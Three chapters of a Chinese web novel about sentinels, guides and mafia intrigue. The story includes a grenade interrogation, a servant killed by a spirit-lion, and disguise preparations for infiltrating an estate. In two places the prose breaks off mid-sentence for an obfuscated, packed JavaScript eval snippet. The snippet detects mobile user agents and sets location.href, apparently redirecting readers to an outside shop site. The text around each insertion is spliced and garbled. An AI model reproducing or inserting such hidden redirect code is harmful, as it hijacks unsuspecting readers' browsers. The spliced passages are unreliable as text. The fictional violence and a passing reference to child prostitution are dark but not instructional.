“哎呀,”看到文件悲观的结论,布列塔尼意识到,这对她来说也许并不是一个难题。她带上笑容,拨打了某个精神动物是羊驼的黑心科学家的电话: “嗨,多多~你有在黑市买过基础维生溶液吗?我需要能买到这种溶液的店铺的名单。” “……你要买吗?我给你说一个质量靠谱的,你去吧。” “不哦,我要全部,所有的店铺。” “……那得有多少啊,大姐,你又想干什么啊!你加入经侦组了吗?”多多惨叫,布列塔尼听上去像是要一家一家的去定点爆破,“你别把所有货源都砸了啊,我还指望用这溶液做动物实验呢!” “这样啊,我会考虑给你留一点的。”布列塔尼说,然后就趁着停职去一家一家地把所有供货的黑市店铺定点爆破了。这漫长的排查花费了她数月时间,但在最后这家店里的账簿上,她发现老板在酒神节事件后,仍然定期在出售成人用量的溶液。 现在,五花大绑的壮汉老板正恶狠狠地瞪着她。她知道这种定期供货的货物,老板必然知道一些买家的信息,只是他还不太愿意说而已。 “先生,我们真的不能友好合作吗?”长发飘飘的布列塔尼露出了于心不忍的表情,“您瞧,如果您配合我,我愿意买上一些溶液,给我朋友做礼物。” “谁他妈稀罕你那点破钱!老子以后还做不做道上生意了!”布列塔尼似是服软的态度让老板更加硬气起来,“你他妈免费给老子上老子都不可能唔唔唔——!!!” 老板发不出声音了。布列塔尼掐住他的下巴,把什么硬质的东西塞进了他嘴里。他摆着头像挣扎,但看清拿东西的瞬间,就不再动了。 那是一颗小号的手榴弹。 布列塔尼牢牢钳制着他的下颚,拔掉了插销。 “……唔嗯呃呃呃……” 圣父圣子圣灵三位一体啊!这女人是个他妈的疯子!! “先生,我们都懂得手榴弹的原理,我拔掉了保险的插销,但您现在还咬着握把,所以撞针还不会触发爆炸。” 老板瞪大了眼睛,他紧紧咬着握把不让撞针落下,可金属制品在唾液的作用下越来越滑。 “您还能坚持多久呢?”布列塔尼看着他的眼睛问,“依我的经验看,也许不会超过四十秒哦?” “所以,我给您十秒钟的时间。”温柔的哨兵举起手中的插销,“如果您愿意告诉我,就点点头吧,我会把插销插回去。如果您不愿意,那么剩下的三十秒内,我会离开这里——很不幸,您得一个人面对爆炸了。” “唔唔唔——!!!” 老板艰难地点头,目眦尽裂,大汗淋漓。他既怕动作幅度太大出发撞针,又怕布列塔尼看不见他点头的动作,几乎要拧断自己的脖子。 看着这幅样子,他应该不敢在这件事上磨蹭或者撒谎了。 布列塔尼满意地微笑,她从不担心自己会问不出情报。 就是不知道小莱蒂斯怎么样了……之前唐娜担心影响小姑娘作战,特地把警司的消息发给了尼尔森,那自己这边也干脆等她睡了,再用发短信告诉尼尔森这件事还和拉奥孔有关吧。 那孩子对米拉抱有接近憎恨的感情,布列塔尼很担心她会因此心情不好睡不着。 “唔……” 说起来,小莱蒂斯今晚会和尼尔森那家伙一起过夜的吧……他可是一直在处心积虑地追着她,小莱蒂斯可不能被他骗了呀。 过度保护的布列塔尼满心担忧,她一边操心着组里小妹妹的睡眠质量,一边思考要是尼尔森如果做了出格行为的话应该踩断他哪根骨头,完全无视了老板惊恐的呜呜声。 “啊呀,不好……” 温柔的哨兵硬是等到三十秒后老板没咬住握把的瞬间,才不慌不忙地把插销插了回去,但与此同时,老板已经吓得晕过去了。 88. 第八十七章 同一个四点的凌晨,卡佩庄园灯火通明。 这是一幅相当古怪的景象:在大片黑暗的林地与草场之中,这座结合了古希腊与洛可可风格的奢华建筑就这么兀自安静地明亮着。穿透一扇扇巨大窗户的橙黄灯光让它看起来正在从内到外地燃烧,呈现出的华丽与残忍叫人不安。 穿着黑色燕尾服的管家站在一扇窗前,像是一道烧焦了的人影。他为这个家族服务已久,从青年时期到如今的两鬓斑白,但他很少像今天这样充满忧虑。 年轻的佣人们都在忙碌,轻手轻脚地在城堡的各个角落里处理一种电子设备。他们都听管家的吩咐做事,而管家听萨塔斯.卡佩的吩咐做事。 萨塔斯.卡佩在不久前才回到自己的房间。他洗了澡,换了丝质的睡袍,看起来像电影结尾功成名就的主角那样闲适。 他说好啦,干你们该干的事情去吧,难道你们不想早点休息吗?那模样一派轻松,就好像他不知道整个宅邸中为何弥漫着畏惧。 自从酒神节的客人们在一夜之间全部被捕,这位卡佩家的首领就变得比平日更加喜怒无常。三个月前,佣人们终日胆战心惊,所幸萨塔斯.卡佩在重伤了三个赞同他的人,四个安慰他的人和七个反对他的人之后做了某个决定,找回了睥睨万物的自信。 但就在所有人都以为风暴已经平息时,他们的首领又突然在今天中午陷入了暴怒。 佣人们不知道发生了什么,不过管家猜与昨晚那个童妓有关。因为起床之后,萨塔斯.卡佩的情绪就像被绑上了一台跳楼机。在雄师的咆哮和半个毁了的房间里,他说该死的这他妈可是我绝地翻盘的机会,它要是失败了你们谁也别想活!然后愣了几秒,又摆摆手,说算了,一点小插曲而已,很容易解决。我的计划早就已经成功了,谁都不可能破坏它,来,还是为明天的宴会开瓶香槟吧! 忠诚的管家目睹了一切。他听从命令为萨塔斯送来了香槟,于是这位英俊的哨兵端着酒杯,联系了一些人,又对手下传达了一些英明的命令,然后将香槟一饮而尽。 不幸的是,香槟与他的部署似乎都没有达到理想的效果。在接下来的十几个小时里,萨塔斯.卡佩再次陷入了某种自我的循环,他一会暴躁如雷,一会又自信满满,就像脑子里有一颗不停滚动的骰子,在他的一念之间不断往复,直到凌晨才终于尘埃落定。 所有佣人的命运也都随着这颗骰子翻来覆去。好在最后,萨塔斯.卡佩得出的是一个积极的结论: “不可能有问题,一切都会顺利的。这可是我安排的宴会——卡佩家首领的宴会。哎,我可得休息了,晚上还得在一群人面前亮相呢。” 管家松了口气。但萨塔斯.卡佩像个模特那样将自己的金发顺至脑后,突然又随口提到:“对了,去把‘那些‘摄像头都给我拆了,卡佩的宅邸不需要这些东西。” “……” 咯啦——跳楼机再次被拉到最顶点,管家感到了一种恐高般的颤栗。身后陪同的两个佣人对视一眼,没人回应。 “怎么了?”萨塔斯露出不明所以的表情,“去啊。” “但是首领……” “’但是‘?’首领‘?”萨塔斯笑了一下,“既然你正面对着家族的’首领‘,为什么还要对首领的命令说’但是‘?” “……” 管家深吸一口气,这种时候,往往只有看着卡佩长大的他敢说上一句话。尽管如此,他的声音还是有些颤抖:“这是必要的措施,卡佩先生,考虑到……” “噢,吉夫,你这个老糊涂了的可怜虫。”萨塔斯摇头,语气充满了对长辈的无奈,“看着我,我的老朋友——我是一个哨兵,一个家族的首领,我的精神动物是万兽之王雄狮,我不需要这些破玩意来监控!你知道的,我自己就能掌控这个宅邸的一切,没人胆敢违抗,就像这样——” 他打了个响指。瞬息之间,管家身后传来狮子的低吼。 是啊,我知道。管家心想,他张了张嘴,没再发出声音。 他感到某种炙热液体溅到他的手腕,一阵模糊的咕噜声像是浮出水面的泡沫,使得他同样窒息。 “好啦。”萨塔斯.卡佩摆摆手,他说:干你们该干的事情去吧,难道你们不想早点休息吗?然后转身回了卧室。 “……去吧。照先生说的做。”老管家吉夫为不可违抗的主人合上门,对身旁的佣人道,“另外,安排一组人过来打扫,要快。” “血如果凝固了,就不好清理了。” 可惜,这孩子的手脚很麻利,所以我才把他带在身边的。吉夫想着,绕过了那滩血迹。 血迹旁,另一个年轻佣人身首异处。 雄狮的动作是那样的迅猛而精准,以至于他的气管和声带都被一口气咬断,甚至连尖叫都没能发出。 “不要动哦,来,眼睛往上看……” “哈欠——嘶,好痛!” “我都说了不要动!” 圣卢赛特城东的巷子里,一家美容店早早开了灯。尼尔森.莱顿头顶一圈粉色的束发带,坐在店里直打哈欠,化妆师眉头一皱,按住他的头,把眼影刷进了他眼睛里以示威胁。 “我看你们第一眼就知道,你这家伙是最难搞的那个!”化妆师小姐狠狠在眼影盘上选色,嘴上毫不留情,“头发又乱,黑眼圈又重,一看就吊儿郎当不愿意好好配合,懒散又不靠谱的气质还完全腌入味了,太难改造了……这根本就改不了的嘛!” “呜哇,真是糟糕的评价啊大叔。”罗亚利的笑声从旁边传来,“要不干脆把头发剃了再纹个身吧?没准这样还能成功伪装成出狱人员再就业哦?” 男孩正在做发型。化妆师卸掉了他故作成熟的妆容,给小孩上了淡妆,把眉形和眼型化得更温和了些,还戴了深棕色的美瞳,于是这玩弄人心的小恶魔一下就变得乖顺无辜了起来。 他的红发被漂得偏橘了一些,短裙和黑丝也换成了花店员工的白衬衣,衬得他漂亮的脸稚气又纯洁,任谁也想不到他开口都是这样尖锐的话。 “尼尔森,待会我来开车,你上车再睡吧,别给化妆师小姐们添麻烦。” 罗亚利的左侧,莱蒂斯乖乖地坐着,像个小大人一样对尼尔森说。另一个姐姐正在帮她编辫子,她想起小时候的早晨和休伯特大叔。农夫的手并没有美容店里的姐姐那么巧,但回忆依然让她的轮廓柔和起来。 要‘改变’莱蒂斯的‘气质’是最简单的。她本来就有乡下小妹妹的一面,化妆师小姐换下了她纯黑的帅气穿搭,把黑发染红,再编出两侧垂在肩头的麻花辫,于是莱蒂斯一下子就变成了来城里花店打工的乖巧少女,眉眼中的清澈闪闪发亮,还带着点天然呆。 她们给她点了一些小雀斑,温暖的浅绿毛衣和亚麻色围裙让她像一株绿植一样清新又无害。尼尔森尽管知道莱蒂斯凶残的战力,还是心生了一些错觉般的怜爱之情,不禁感叹这个伪装才叫专业啊。 专业的小姐姐们显然很喜欢这两个孩子,她们发出把脏脏萨摩耶洗干净成白色棉花糖一样的声音。但与此同时,她们还用专业的非法仪器取下了莱蒂斯的护卫标识耳钉,动作之娴熟,根本没有试图掩饰她们这里并不是一家简单的美容院。 黎塔诺说,她们是圣卢赛特最好的易容师。 “为什么不直接给尼尔森贴一圈假胡子呢?”莱蒂斯看着店铺里的假体,塑形物品和仿真面具,想起上次在餐厅时尼尔森朴实无华的伪装,“他那个样子很难看,一般人不会认出他来的。” “原来很难看吗?!我可是很认真地选了——哎哟!”尼尔森伤心地发出大惊小怪的呼喊,然后又被店员小姐摁了回去。 “一般来说,那种粗糙的伪装不会在我们的业务范围里的。”给莱蒂斯编辫子的姐姐温声细语地耐心解释,顺便嘲讽了侦探,“假胡子,假发,这些外部的装饰也许能糊弄过普通人,但对于哨兵来说,只要仔细观察,就很容易发现端倪。” “虽然我们也可以做出哨兵也无法识破的易容,但那需要提前很久的筹划和耗时极长的工序——那是叛逃特工们需要的业务,对你们来说,时间就不够用了。” “我们现在正在做的,其实是最大程度地改变你们的‘特征’和‘气质’,让其他人看见你们时,无法下意识联想到他们的目标。”她说着,将编好的辫子抽出几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13592625|140785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缕翘起的发丝,好更生动地把莱蒂斯塑造成一个早起匆忙编出发型的打工人。 “你的敌人想要找一个黑发绿眼,干练凶狠的黑手党少女——这就是他们对‘你’的‘印象’。如果一个温柔单纯,衣着朴实的红发花店女孩出现在他们面前,他们是不会警惕的。” “但我们的五官没有变化,不会有人觉得我们眼熟吗?”罗亚利接话问道,他看着镜子里的自己,并没有感觉到改头换面的那种陌生。 对此,店员的回答是:“会,但不是所有人。” “我们的技术可以保证:只要对方没有把你们的照片背下来记在脑子里,并且仔仔细细地观察你们的脸,就不会有人认出你们。” “黎塔诺先生给你们的身份是花艺师,进入现场后,大多数人都会忽视埋头干活的你们,所以你们会比较安全。可在安检搜身这样严格的环节,这种易容就很难起到作用了。” 罗亚利身后的女士正在给男孩的短发上气味阻隔喷雾,以消除烫染的味道:“不过黎塔诺先生说,你们有办法度过这个环节……你们有什么秘密的技巧吗?如果你们愿意出售,不管是什么我们都愿意高价收购哦?” “不是秘密,是尼尔森。”莱蒂斯如实认真道,把小姐姐的话当了真,“但很抱歉,尼尔森是不出售的。” “安心啦,也不会有人想买的。”罗亚利看着因为正在上妆而开不了口的尼尔森,笑得抖了两下,下一秒却又突然僵住。 “轰嗡——” 在连路灯都没亮的街道上,他听见了大型车辆的轰鸣。 微弱的月光里,一道巨大的阴影由远及近,像是自寂静中匍匐而来的怪物。 “没关系,罗亚利。我去接他们吧。”编好辫子的莱蒂斯没能理解到罗亚利的紧张,满怀期待地从椅子上跳下来。她很早之前就听见了卡车引擎的声音,开车的人在车里哼歌,她知道那是谁。 “嗨。” 卡车停在店门之外,莱蒂斯走进夜色,站在那山一样压迫下来的车影下,挥手道:“薇拉,佩德罗,好久不见。” “好久不见,莱蒂斯!”精神动物是犀牛的壮实男人跳下了贴着“安祖花卉”字样的卡车,跟少女碰了下拳,黑雕薇拉则摇下车窗,对她点点头。 “黎塔诺下了好大一单啊,连薇拉都愿意早起送货!”地下武器商人高高兴兴地说。他自豪地拍拍货车,把这钢铁怪兽拍得直抖:“放心,全都是好东西,你肯定会喜欢的!哦,你还换了新发型,我懂你,这个年纪的小女孩,怎么会不向往一车有品味的好枪呢!” “谢谢您。” 莱蒂斯心情好了些,又有点不好意思。尼尔森感应到她的情绪,偏过头去,悄悄打量换了新造型的小姑娘和她的辫子,只觉得她开心起来的样子挺可爱,并且希望她以后能多开心一点。 救命,这易容也太蛊惑人心了。尼尔森想。他都差点忘了莱蒂斯的危险性,以为让她开心起来的是一棵圣诞树而不是一车军火库了。 “你拍尼玛呢!”就在这时,卡车厢里也传来了一阵拍打声。莱蒂斯疑惑地看了佩德罗一眼,地下武器商人却哈哈大笑起来: “哈哈哈,不好意思,忘记了。还有个人想找你,我们让她搭了个便车!” 他拉开车厢后门。在一大堆花卉和精心包装伪装了的枪械里,一个戴着厚重高度数眼镜的女孩对他们投来愤愤的目光: “什么叫把我忘了?!你那些枪算什么啊!我才是重头戏好不好!” “……?” 车厢外,莱蒂斯歪了歪头。她看见一只羊驼正在女孩身后嚼一株植物的叶子。 “……把我关在货车厢这么久,吃你们几片叶子怎么了!”女孩昂着头,扶了把眼镜,从花花草草里拎出一个吉他盒,“喂,你就是莱蒂斯吧?布列塔尼三个月前让我研发仅靠听力就能驱动的机械臂,我给你弄出来了!而且精度还能根据你的听力强度变化,不会再因为过载给你造成负担了。” “啊真是的,那个没人性的女人,非得让我今天凌晨给你送过来……给,拿好了,好好用!这可是本天才的发明,保证你能把他们全部爆头!” 89. 第八十八章 通往圣卢赛特郊外的公路上,‘安祖花卉’的货车正平稳地行驶着。 尼尔森把着方向盘,莱蒂斯坐在他身边。最靠边的罗亚利在副驾补了一觉,已经睡醒了。 这是一辆三坐中型货车。那个送来机械臂的羊驼少女之所以被塞进货厢里,主要是因为佩德罗太大只,一人占了俩,好在对于莱蒂斯一行人来说,它的载人部分还是绰绰有余。 出发前,尼尔森真就从善如流地接受了莱蒂斯的安排,把驾驶位留给小姑娘,自己去了副驾,结果被送行的易容师们生生给骂了下来。 “我真不是想偷懒。”尼尔森在围攻中喊冤,闪到莱蒂斯身后,把她往前一推,“这是你们自己易的容啊,怎么还被这张脸骗到了?她不是温婉花店员工,她就喜欢中大型卡车,因为这让她想起小时候——更别提这是一车枪械了。她喜欢这车都胜过喜欢我了,难道我要横刀夺爱吗?” “少来这套!”给尼尔森上妆的易容师不耐烦地把这个甲方难题抓回来,“黎塔诺先生居然说你是个侦探,你行动前都不考虑你现在的‘角色’吗?!” “亲爱的,如果你想开卡车,我想还是等到回程的路上比较好。” 温声细语的那位女士倒是一如既往情绪稳定,她牵住试图解释的莱蒂斯,带她绕去副驾——正如尼尔森所说,她确实是喜欢这辆卡车的。 “我们给这位先生‘改造’的方向是一个努力维持着体面,但没能摆脱失意与忧郁的可怜人。这样的人是不会让店里的小妹妹来开卡车的。” 凭心而论,现在的尼尔森确实有了很大不同,就连黑眼圈也变得情有可原起来。易容店的女士们采用了相当巧妙的思路:既然没办法改变他自带的散漫,那就让这种散漫也成为组成他的一部分吧。 她们把侦探的平光镜换成了金丝的,将他的发型和衣着收拾得前所未有的妥帖。高领毛衣、金色项链和深棕的整体色调他看起来帅气正派了许多,甚至有些像个年轻体面的讲师。 可惜这个体面的青年人似乎有什么困扰,这也许就是他不得不来花店做工的原因。他的毛衣袖口有磨损,鞋尖即使上了油也还能看出损伤,处处暗示他的生活并不如意。 男人身上的散漫也转变为了一种提不起劲的疲惫,可能和他最近不幸的经历有关——在尼尔森的鼻梁,脸颊和眉梢上,有几道暗红的划痕,看起来像是经过了某些暴力的对待,来自酒瓶,或者来自砖头。 这也是易容师们的技巧之一,面部的伤口会让人们的注意力从五官上偏离,也能让人们产生很多不相关的猜测。 这样的尼尔森也许是经历了勒索或欺凌,又或许是没能坚持戒酒跌下了自家楼梯,但无论如何,他看起来都不再是个会笑着把杀手逼疯的恶徒了。 那几道伤口都是真的。为了骗过那群见惯了伤和血的黑手党,莱蒂斯应易容师们的要求,亲手在尼尔森脸上划出了这几道痕迹。 “抱歉,尼尔森,忍耐一下。” 花店少女把短刀一横,下手干净利落,倒没有什么小心翼翼捧起他脸的暧昧动作,但在不可见的精神领域,她的精神触须体贴地摩挲过他刺痛的伤口,传递来精神共鸣的安抚。 “唔……” 尼尔森挨刀子时还在装模作样卖惨,这下却真的僵住了,可等莱蒂斯放开,又莫名感到了寂寞。旁边化妆师小姐一看镜子,直呼对了对了,就是这种被扔回街上的流浪猫的感觉!好好保持,保持不住了就再让她给你两刀,导致尼尔森一秒破功开始嘴贱,但直到现在,侦探看着后视镜里自己脸上的伤痕,还是能想起那一瞬间的战栗。 不至于吧,不就是碰了下伤口吗?我俩精神共鸣又加深了?精明的侦探紧张起来,但又不敢细想,只觉得没睡醒就是会变得不对劲,果然早起毁一天。 冬令时的太阳倒是起得比他们晚了太多。等仪表盘上的时间到了八点整时,圣卢赛特郊外的地平线上才浮现出一场惨淡的日出。 厚重的灰色云层里流淌出几缕暗淡的金光,照亮一片片干枯的树林,一条并不清澈的河流与公路并行,卷着惨白的浮末——卡佩庄园很大,这里其实已经是它的一部分了,他们很快就会到达中心宅邸的范围,接受安检。 这片原野在冬天并不太讨喜,它广袤而枯黄,连带整个世界都萧条起来。几只鹿正在挑挑拣拣地吃草,突然把头一抬,飞快向远方跑去。 “啊,回来,别去追它们!”莱蒂斯说,散发的精神力增幅起来,像是用力在牵自家乱跑出去撒欢的狗狗,于是正在草地上乱跑的狼狼们发出嗷呜的声音,调转方向,继续伴随在货车两侧飞奔。 没有人会指责小姑娘在潜入行动之前浪费共感力召唤精神动物,她墨绿双眼中的光芒胜过此地盛夏的风景。她在圣所待了太久,又被径直送来了高楼林立的圣卢赛特,这是她多年来第一次来到和家乡的田野相似的地方。 连她都分不清是自己先起了冲进原野的念头,还是灰狼们先踩上了草场。尼尔森说跳下车前,那只在车厢里冒出来的头狼还挨个啾咪了他们一口,可惜莱蒂斯和罗亚利都感觉不到,只有他错觉脸上还因为狼的亲昵有些湿乎。 “莱蒂斯小姐家的农场也是这样吗?这么大,却一个人也没有,不会觉得孤单吗?”罗亚利看着她亮亮的眼睛,好奇地问她。他几乎不来这样的郊外,只觉得空旷又寂寥。 “嗯。农场是这样的,几百亩的土地上可能只有一家人。我家的话,就只有我和休伯特大叔。”莱蒂斯共感着狼的视野,双眼有些放空,“但农场其实很热闹,我们养了牛羊,还搭了鸡舍。在去圣所之前,我从来没感觉到过孤单……” “真好,我也想去农场。”罗亚利的声音带上向往,但向往的理由和一般的青少年不一样:“听起来是个避世的好地方,可以躲过黑手党和‘天堂’赌场的追杀呢。也不知道Papa清醒了没,他可不会放过我……” “别担心,Papa这辈子都不会再出现在你面前了。”梳着麻花辫的莱蒂斯看向罗亚利,神态依然有种锐利的英气,“‘天堂’和黑手党都不会再伤害你了,你不用躲起来的。等回去之后,你想尝试什么都可以的……唔,要不要从花店开始呢?” 罗亚利一笑,习惯性想顺着她的话应下去,但看见驾驶位上那个能感知情绪的向导,又想起昨晚莱蒂斯对自己的接纳,漂亮的微笑变得有些复杂。 “我没想过去花店。”他最终如实回答,“我只想要钱,很多很多的钱,比我的那些客人还富有!” “只有有钱了,我才能摆脱这一切,过上好的日子。” 是因为他曾在纸醉金迷的‘天堂’待了太久吗?莱蒂斯想。她解释道:“金钱是生活的一部分,但并不是只有那些富翁的生活才是好日子。维克镇的人们大多都很幸福,可谁也没家财万贯……” “……但你们其实很富裕的吧?有农场,有那么大一片土地,还养得起那么多动物。”罗亚利打断她,低下头,声音闷闷的,“所以莱蒂斯小姐才能度过快乐的童年,才能变成这样正直又善良 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13603670|140785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的人。” “童年吗……那时候是很平静,但说不上富裕吧。” 莱蒂斯思考了一下,并不因为罗亚利的误解而生气。 “养动物成本很高,种子和机械设备也很贵,休伯特大叔说补贴年年在降低,填申报表填到深夜。即使没日没夜地劳作,决定收成的还是天气和运气,好不容易赚到钱,大部分也都会投入到下一年的种子和肥料上……但是,哪怕我们从没像‘天堂’里的赌客们那么富有过,生活中依然会有很多快乐。” “世界上有很多不同的幸福的方式,你会找到适合你的那种的。” “……” 莱蒂斯总有种让人对她真诚以待的魔力,罗亚利的肩膀因此抖了一下。在这个寂寥的清晨,尼尔森感觉到他身上升起了庞大的痛苦,好像一个已经冷到麻木的人第一次靠近火堆,却因为恢复知觉而感到了剧烈的疼痛。 也许知道作战前并不是一个谈心的好时机,他拼命压抑着自己的情绪,但就在尼尔森以为他成功了的时候,男孩却颤抖着开口了: 他说:“不,不……抱歉,莱蒂斯小姐,别在这个时候,别告诉我这个……我从没见过那样的生活,我没办法相信它真的存在。” “我十岁那年靠打黑工攒出过一笔钱。我想离家出走,好好生活,但钱被我嗜赌的父亲一夜之间全花光,紧接着他就把我被卖掉换了他的赌资。” “我努力了,我试过了,可没有钱,一个懦弱的废物男人就能轻而易举地毁了我的所有。” “对不起,莱蒂斯小姐……我见过的所有人里,只有那些在赌场里一掷千金的有钱人过着好的日子。他们用着普通人这辈子都不可能买得起的奢侈品,掌握着金钱权势和他人的命运……” “对我来说,只有这样的幸福,才是真的幸福——” 男孩抬起头,他自知自己贪婪又极端,眼中却映着一种绝望的坚定。 地平线上,卡佩家壮观的庄园缓缓升起,像是他绮丽又不详的梦境交错进了现实。 在罗亚利的耳边,两条银色的耳坠闪闪发光,那是他拜托易容师小姐们改造切割的脚链。首饰让他清澈的气质之外又多了一种对大人世界青涩的向往,他依然在无意识地把自己打扮得‘可口’。 “我知道了。” 但莱蒂斯没有责怪他。她只是告诉他: “你对世界有什么看法,那都是你的自由。我只是希望你别被‘天堂’和你的父亲束缚,罗亚利。他们是两个极端,都剥夺了你看见金钱以外的美好的能力。等我们回来之后,你看过了外面的世界,再决定前路也不迟。” “……” 尼尔森侧目,只看见罗亚利抿住双唇。他于是敲敲方向盘,示意他们马上要进入安检哨兵的观察范围,男孩听见,表情立刻恢复如常。 他唐突的坦白也就这么唐突地在新的危险面前结束,缩回比人偶更精致漂亮的外壳。 只有尼尔森知道,罗亚利根本没有平静下来。男孩并没有因为莱蒂斯的温柔而重拾''希望'',反而陷入了更深的痛苦。看向一个平和的未来似乎比潜入行动更让罗亚利崩溃,他无声的负面情绪几乎要扼杀掉那本就黯然的日出。 这痛苦究竟从何而来? 它像是一声刺耳的尖叫,又像是一场漫长的哭喊,不知为何,让尼尔森想起了当年渡鸦的啼鸣。它如是回答诗人的提问: “而我的灵魂,会从那团在地板上漂浮的阴影中解脱么——” “永不复焉!”*